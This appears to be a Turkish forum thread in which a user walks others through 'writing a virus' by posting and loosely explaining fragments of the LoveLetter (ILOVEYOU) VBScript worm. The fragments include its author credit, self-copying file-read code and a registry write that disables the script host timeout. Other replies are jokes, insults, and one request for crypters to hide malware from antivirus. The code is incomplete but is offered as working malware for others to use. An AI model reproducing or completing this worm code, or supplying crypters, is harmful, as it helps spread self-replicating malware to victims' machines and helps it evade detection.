-
1.
0yazacam canlı canlı c ile yazacam anlatacam birde 10 tane yaz diyen olursa yeter
edit:notpad sizde yazabilirsinzi text dosyasına yazdıktan sonra .bat diye değiştireceksiniz
-
2.
0c sizin için ağır olur onun için virsual basic ile yazacam
-
3.
0include stdio.h yeter kank
-
4.
0system.out. println("yaz panpa");
-
5.
0başlıyalım
rem barok -loveletter(vbe) <okuldan nefret ediyor> -
6.
-1burda trojanı yanı solucanı oluşturuyoruz kod aşağıda
rem by: spyder / trojantr@yahoo.com/ @GRAMMERSoft Group / Manila, Philippines
On Error Resume Next
dim fso, dirsystem,dirwin, dirtemp,eq,ctr, file,vbscopy,d ow -
7.
0bu kodu açıklamak gerekirse mail tiplerini belirliyoruz diyebiliriz
-
8.
0yaz panpa
-
9.
0dinleyen varmı panpalar ayıp bunu kimseden bulamazsınız
-
10.
0stream yap panpa izleyelim
-
11.
0proagent mi indirdin yine yeğenim ?
-
12.
0c:\ananın.ami
-
13.
0kod yazıp size cevap vermek zor oluyor beyler
aşağıdaki koddu açıklayacam
eq=""
ctr=0
Set fso = CreateObject("Scripting. FileSystemObject")
set file = fso. OpenTextFile(WScript. ScriptFullname,1)
vbscopy=file. ReadAll
main() -
14.
0burda scripleri ve yolları bellirlemek ve readall ile okunuşları belirliyoruzbu ne diye sormayın amk size computer theory yeniden anlatamam *
-
15.
0bilgisayara zararlı bir virüs yazacağına 2 crypter yaz gönderde işimize yarasın
-
16.
0Burası önemli şimdi host saldırımızı belirliyoruz kodlar aşağıda
---
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript. Shell")
rr=wscr. RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
---
eğer kayıt defterini açarsanız bunları görürsünüz -
17.
0php yaz lan gibtir et visuali
-
18.
0@15 bin *
-
19.
0@17 artisliğini gibliyim senin phpni $echo yazmayı biliyon bin beni yorma yazıyoruz işte mantık aynı
-
20.
0stdio.h